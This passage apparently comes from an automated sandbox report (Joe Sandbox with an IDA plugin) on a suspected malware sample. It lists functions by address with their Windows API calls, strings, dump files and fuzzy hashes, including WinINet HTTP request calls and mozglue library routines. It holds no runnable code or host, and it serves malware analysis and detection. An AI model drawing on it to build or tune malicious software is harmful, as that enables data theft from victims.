Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,0267B010), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,0267AEF0,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00414DF8
lstrlenA.KERNEL32(00000000), ref: 00414E0F

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,00000000), ref: 00414E44
lstrlenA.KERNEL32(00000000), ref: 00414E63
strtok.MSVCRT ref: 00414E7E
lstrlenA.KERNEL32(00000000), ref: 00414E8E

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Strings

ERROR, xrefs: 00414F12
ERROR, xrefs: 00414DEA
ERROR, xrefs: 00414F89
ERROR, xrefs: 00414E99
ERROR, xrefs: 00414F4F

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSendstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3532888709-1526165396
Opcode ID: 6162ca369d7659fc23bb1040c6d0a5dfda67ed9c2bc42a9310e26393c24bdf9f
Instruction ID: 8f24e6183c5aafacdfff780c7fa5c74c912095ee1ff337cf81358bf1c292c6a0
Opcode Fuzzy Hash: 6162ca369d7659fc23bb1040c6d0a5dfda67ed9c2bc42a9310e26393c24bdf9f
Instruction Fuzzy Hash: D5516130911108ABCB14FF61CC9AEED7738AF50358F50401EF80B665A2DF786B95CB6A

Function 6C72EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C729420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6F4A68), ref: 6C72945E
Part of subcall function 6C729420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C729470
Part of subcall function 6C729420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C729482
Part of subcall function 6C729420: __Init_thread_footer.LIBCMT ref: 6C72949F

GetCurrentThreadId.KERNEL32 ref: 6C72EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C72EC8C

Part of subcall function 6C7294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7294EE
Part of subcall function 6C7294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C729508

GetCurrentThreadId.KERNEL32 ref: 6C72ECA1
AcquireSRWLockExclusive.KERNEL32(6C76F4B8), ref: 6C72ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C72ECC5
ReleaseSRWLockExclusive.KERNEL32(6C76F4B8), ref: 6C72ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C72ED19
CloseHandle.KERNEL32(?), ref: 6C72ED28
free.MOZGLUE(00000000), ref: 6C72ED2F
ReleaseSRWLockExclusive.KERNEL32(6C76F4B8), ref: 6C72ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C72EC94

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 59af7da3c82fc55841489d61ef3ebaa9da93afd83e149fc7e33857697b3b2bb5
Instruction ID: 7189c43861cead3d7d51e6e1353866dc01cd639336d804444bf89350dd26c5d6
Opcode Fuzzy Hash: 59af7da3c82fc55841489d61ef3ebaa9da93afd83e149fc7e33857697b3b2bb5
Instruction Fuzzy Hash: C121E7756002089BDB009F76D90DBAA3B79EF4636DF144231FC2457B41DB39A805CBA1

Function 6C70C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C70C5A3
WideCharToMultiByte.KERNEL32 ref: 6C70C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C70C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C70CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C70CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C70CAA5

Strings

(null), xrefs: 6C70C596
0, xrefs: 6C70D30A

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: d2731f2905e975b306c683b47711e23c343100761c7078bef67286fd9bed09c3
Instruction ID: f44c7952d9768adbe7918c9469421dbb64b6b4ef8e0ec730eb56cadbebca54e0
Opcode Fuzzy Hash: d2731f2905e975b306c683b47711e23c343100761c7078bef67286fd9bed09c3
Instruction Fuzzy Hash: B8A1AEB07083419FDB11DF28C64875ABBE1BF89759F08882DE989D7742D771E805CBA2

Function 00418AB0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

image/jpeg, xrefs: 00418BD6

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: image/jpeg
API String ID: 0-3785015651
Opcode ID: e3d6fb441b76b068049a3a71428c1239af9f18144c76eb4c8f2b9333fba61afe
Instruction ID: ab8c993fcc5868c7862916c534b465bb792f4261399987fcbf2c6f11a1cf59ff
Opcode Fuzzy Hash: e3d6fb441b76b068049a3a71428c1239af9f18144c76eb4c8f2b9333fba61afe
Instruction Fuzzy Hash: 2E711CB1A10208ABDB14EFE4DC89FEEB779BF48700F108509F516AB290DB74A945CB65

Function 6C6E3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C6E3284,?,?,6C7056F6), ref: 6C6E3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C6E3284,?,?,6C7056F6), ref: 6C6E34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C6E3284,?,?,6C7056F6), ref: 6C6E34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C6E350E
__Init_thread_footer.LIBCMT ref: 6C6E3522
__aulldiv.LIBCMT ref: 6C6E3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C6E3284,?,?,6C7056F6), ref: 6C6E357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C6E3284,?,?,6C7056F6), ref: 6C6E3592

Part of subcall function 6C71AB89: EnterCriticalSection.KERNEL32(6C76E370,?,?,?,6C6E34DE,6C76F6CC,?,?,?,?,?,?,?,6C6E3284), ref: 6C71AB94
Part of subcall function 6C71AB89: LeaveCriticalSection.KERNEL32(6C76E370,?,6C6E34DE,6C76F6CC,?,?,?,?,?,?,?,6C6E3284,?,?,6C7056F6), ref: 6C71ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C6E3508
kernel32.dll, xrefs: 6C6E34EA

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 0183544ffd4d0076ba7eaca31fa1267af68c5d790bab42417ed1e498b81c1d49
Instruction ID: 1d3b5d1770a4017425b4e0ab4f09b5c33d70041b4f3627f9871d781970482ea4
Opcode Fuzzy Hash: 0183544ffd4d0076ba7eaca31fa1267af68c5d790bab42417ed1e498b81c1d49
Instruction Fuzzy Hash: AA317271B053099BDF04DFB6C948ABA77B9FB4A304F10443AE541A3B60D770A904CF60

Function 6C6E4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C724843,?), ref: 6C6E45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C724843,?), ref: 6C6E468A
free.MOZGLUE(?,?,?,?,?,?,6C724843,?), ref: 6C6E46C9
free.MOZGLUE(?), ref: 6C6E46EF
free.MOZGLUE(?), ref: 6C6E4712
free.MOZGLUE(?), ref: 6C6E4735
free.MOZGLUE(?), ref: 6C6E4758
free.MOZGLUE(?), ref: 6C6E477B
free.MOZGLUE(?), ref: 6C6E479E

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 35e77d39c6a2ee8a1e2d7bf41ba4eb915e924b91fe52b954d0ca63532f4bc85c
Instruction ID: 117e475c13187795214754aa0440cbb9c29392abb3498d9da13f9b2b7464b8b6
Opcode Fuzzy Hash: 35e77d39c6a2ee8a1e2d7bf41ba4eb915e924b91fe52b954d0ca63532f4bc85c
Instruction Fuzzy Hash: 33B1F871A0A1108FDB148EBCD8D47BD77A5AF4A318F18062AE416DFB82D770D840CB89

Function 6C74AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C74AC52
CreateFileMappingW.KERNEL32 ref: 6C74AC7D
GetSystemInfo.KERNEL32 ref: 6C74AC98
MapViewOfFile.KERNEL32 ref: 6C74ACB0
GetSystemInfo.KERNEL32 ref: 6C74ACCD
MapViewOfFile.KERNEL32 ref: 6C74AD05
UnmapViewOfFile.KERNEL32 ref: 6C74AD1C
CloseHandle.KERNEL32 ref: 6C74AD28
UnmapViewOfFile.KERNEL32 ref: 6C74AD37
CloseHandle.KERNEL32 ref: 6C74AD43
CloseHandle.KERNEL32 ref: 6C74AD67

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 6c30fe424462a83c99118ee9c17222b0be61b78ab472a4b60c80a4a73e5dfec1
Instruction ID: 3f84c6a6b20e29961ea7f4a6dbbceb37b5f04205db6dfb8ee711f8353c81b9b1
Opcode Fuzzy Hash: 6c30fe424462a83c99118ee9c17222b0be61b78ab472a4b60c80a4a73e5dfec1
Instruction Fuzzy Hash: 883160B1A047048FDB00AF79D64926EBBF4FF85315F01893DE98597215EB70A458CF82

Function 6C6F9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C6F9675
__Init_thread_footer.LIBCMT ref: 6C6F9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6F96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C6F9707
__Init_thread_footer.LIBCMT ref: 6C6F971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C6F9773

Part of subcall function 6C71AB89: EnterCriticalSection.KERNEL32(6C76E370,?,?,?,6C6E34DE,6C76F6CC,?,?,?,?,?,?,?,6C6E3284), ref: 6C71AB94
Part of subcall function 6C71AB89: LeaveCriticalSection.KERNEL32(6C76E370,?,6C6E34DE,6C76F6CC,?,?,?,?,?,?,?,6C6E3284,?,?,6C7056F6), ref: 6C71ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6F97B7
FreeLibrary.KERNEL32 ref: 6C6F97D0
FreeLibrary.KERNEL32 ref: 6C6F97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C6F9824

Strings

NtMapViewOfSection, xrefs: 6C6F9701
ntdll.dll, xrefs: 6C6F96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C6F9670
MapViewOfFileNuma2, xrefs: 6C6F97B1

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 8dad43d17123a92af17a5ef84ca38710fa809192c62e8317161493de85bad518
Instruction ID: d24c10a2ee24b6e95b9fe2c30e50aed0c12742ca8920ad7be8328c9890f235f5
Opcode Fuzzy Hash: 8dad43d17123a92af17a5ef84ca38710fa809192c62e8317161493de85bad518
Instruction Fuzzy Hash: 2C41AFB07003059BDF00CFA6D988BAAB7B5FB4A329F444539ED2597B40D730A919CFA1

Function 6C739D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C738273), ref: 6C739D65
free.MOZGLUE(6C738273,?), ref: 6C739D7C
free.MOZGLUE(?,?), ref: 6C739D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C739E0F
free.MOZGLUE(6C73946B,?,?), ref: 6C739E24
free.MOZGLUE(?,?,?), ref: 6C739E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C739EC8
free.MOZGLUE(6C73946B,?,?,?), ref: 6C739EDF
free.MOZGLUE(?,?,?,?), ref: 6C739EF5

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 3eb74894055d8b1e2233eca3ff973648a337e07e48c82de273362a996e08cf8b
Instruction ID: a351c907821e045f6ff1e7fbca6ecd5b36ba5596202945601496af4cfc98bc68
Opcode Fuzzy Hash: 3eb74894055d8b1e2233eca3ff973648a337e07e48c82de273362a996e08cf8b
Instruction Fuzzy Hash: F871B0B1909B518BD712CF18C68555BF3F8FFA9314B449619E88E5BB02EB30E885CBC1

Function 6C73DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C73DDCF

Part of subcall function 6C71FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C71FA4B

Part of subcall function 6C7390E0: free.MOZGLUE(?,00000000,?,?,6C73DEDB), ref: 6C7390FF
Part of subcall function 6C7390E0: free.MOZGLUE(?,00000000,?,?,6C73DEDB), ref: 6C739108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C73DE0D
free.MOZGLUE(00000000), ref: 6C73DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C73DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C73DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C73DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C72DEFD,?,6C6F4A68), ref: 6C73DF32

Part of subcall function 6C73DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C73DB86
Part of subcall function 6C73DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C73DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C72DEFD,?,6C6F4A68), ref: 6C73DF65
free.MOZGLUE(?), ref: 6C73DF80

Part of subcall function 6C705E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C705EDB
Part of subcall function 6C705E90: memset.VCRUNTIME140(ewtl,000000E5,?), ref: 6C705F27
Part of subcall function 6C705E90: LeaveCriticalSection.KERNEL32(?), ref: 6C705FB2

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 274c6650f7d6ecb9093f09295efece23a869483f405ace501740ec63b662145b
Instruction ID: ad94ce4f482b2095cbfd859184b1fdab863864286b27c3b07acddc4ffa473f70
Opcode Fuzzy Hash: 274c6650f7d6ecb9093f09295efece23a869483f405ace501740ec63b662145b
Instruction Fuzzy Hash: E8512A727517219BD7118B28CA882AE73BABFA1308F95102DD45E53F43D731F819CB9A

Function 6C745D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C745C8C,?,6C71E829), ref: 6C745D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C745C8C,?,6C71E829), ref: 6C745D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C745C8C,?,6C71E829), ref: 6C745D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C745C8C,?,6C71E829), ref: 6C745D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C745C8C,?,6C71E829), ref: 6C745DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C745C8C,?,6C71E829), ref: 6C745DC9
std::_Facet_Register.LIBCPMT ref: 6C745DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C745C8C,?,6C71E829), ref: 6C745E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C745C8C,?,6C71E829), ref: 6C745E45

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 374da461cd96e3a3122ba66f3ff6796af1edcb5480df830f7074f536f9401bc7
Instruction ID: 63d7d0d2913ed26c05f493a2615a781cede211024ff5f850f83ab082dfa8b904
Opcode Fuzzy Hash: 374da461cd96e3a3122ba66f3ff6796af1edcb5480df830f7074f536f9401bc7
Instruction Fuzzy Hash: 314167717003089FCB00DFA5D9DDAAE77B9BF89314F448078E50A9B792EB30A805CB60

Function 6C71CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6E31A7), ref: 6C71CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C71CFA4, 6C71CFB8
<jemalloc>, xrefs: 6C71CF9F, 6C71CFB3

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: d9fa1fecd84ce4f1ecbae79a6b8e972b9d3f33c17f2fcfce0809c9d42289fa47
Instruction ID: 63f40b30856d425554c1692b301d4dd8a1154d05144cb9f3e36a967745d17954
Opcode Fuzzy Hash: d9fa1fecd84ce4f1ecbae79a6b8e972b9d3f33c17f2fcfce0809c9d42289fa47
